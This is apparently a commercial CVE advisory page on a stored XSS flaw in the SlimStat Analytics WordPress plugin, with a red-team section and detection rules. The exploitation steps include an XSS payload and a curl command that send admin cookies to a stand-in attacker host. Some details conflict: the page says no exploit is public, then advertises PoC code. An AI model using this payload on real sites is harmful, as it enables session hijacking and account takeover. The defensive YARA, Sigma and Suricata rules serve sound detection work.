CVE-2024-1073
Executive Summary
CVE-2024-1073 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.1.3. The flaw resides in insufficient sanitization of the filter_array parameter, allowing authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. These scripts execute when any user (including administrators) accesses a page containing the malicious payload. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. No public exploit code or patch is currently available, and the vendor has not released a fix.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: Required (Admin or user visits injected page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is elevated due to the low privilege requirement and the potential for privilege escalation via session hijacking or admin credential theft.
Deep Dive & Mechanics
The vulnerability exists in the filter_array parameter used by SlimStat Analytics to filter analytics data. The plugin fails to properly sanitize user input and escape output when rendering filter values in the admin dashboard. An attacker with subscriber-level access can craft a request containing malicious JavaScript in the filter_array parameter. When an administrator or other user views the analytics page, the injected script executes in their browser context.
The attack flow:
- Attacker logs in as a subscriber.
- Attacker sends a POST request to the WordPress admin-ajax.php endpoint with the
filter_arrayparameter containing a JavaScript payload. - The plugin stores the payload in the database without sanitization.
- When an admin visits the SlimStat analytics page, the payload is rendered and executed.
- The script can steal session cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (SlimStat <= 5.1.3):
The plugin directly outputs the filter_array value without escaping:
// In wp-slimstat/admin/view/wp-slimstat-view-filters.php
echo '<div class="filter-value">' . $filter_value . '</div>';
Patched Code (Hypothetical): Proper escaping would prevent XSS:
echo '<div class="filter-value">' . esc_html( $filter_value ) . '</div>';
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with SlimStat Analytics <= 5.1.3
- Subscriber-level account credentials
Exploitation Steps:
- Log in as a subscriber.
- Craft a malicious payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Send the payload via the
filter_arrayparameter:curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=slimstat_update_filter&filter_array=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>" \ -c cookies.txt - Wait for an admin to visit the SlimStat analytics page.
- Capture the admin's session cookie from your attacker server.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for unusual
filter_arrayparameters containing<script>tags. - Alert on subscriber-level users making POST requests to
admin-ajax.phpwithaction=slimstat_update_filter.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block
<script>infilter_array. - Restrict subscriber access to SlimStat analytics pages via role management.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin-ajax.phpwithaction=slimstat_update_filterandfilter_arraycontaining JavaScript. - File: Modified entries in the
wp_slimstat_filtersdatabase table with script tags. - Log: WordPress debug logs showing
filter_arraywith HTML/JavaScript content. - Behavior: Unexpected redirects or cookie theft from admin sessions.
Detection Engineering
YARA Rule
rule CVE_2024_1073_SlimStat_XSS {
meta:
description = "Detects stored XSS payloads in SlimStat Analytics filter_array parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1073"
strings:
$payload = /<script[^>]*>.*?<\/script>/i
$filter_array = "filter_array"
condition:
$filter_array and $payload
}
Sigma Rule
title: SlimStat Analytics Stored XSS via filter_array
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-1073
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=slimstat_update_filter'
cs-uri-query|contains: 'filter_array='
cs-uri-query|re: '(<script|<img|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of filter_array with benign HTML (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-1073 SlimStat Analytics Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=slimstat_update_filter"; http_client_body;
content:"filter_array="; http_client_body;
pcre:"/(<script|<img|onerror|onload)/i";
sid:1000001;
rev:1;
reference:cve,2024-1073;
)
Remediation & Mitigation
Immediate Actions:
- Disable the SlimStat Analytics plugin until a patch is available.
- Remove subscriber-level access to the plugin's admin pages via custom role management.
- Implement a WAF rule to block
filter_arrayparameters containing HTML/JavaScript.
Long-term Fix:
- Monitor the vendor's repository for a patched version (5.1.4 or later).
- Apply input sanitization and output escaping to all user-supplied parameters.
Workaround:
- Use a security plugin like Wordfence to block XSS payloads.
- Restrict
admin-ajax.phpaccess to authenticated users with specific capabilities.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.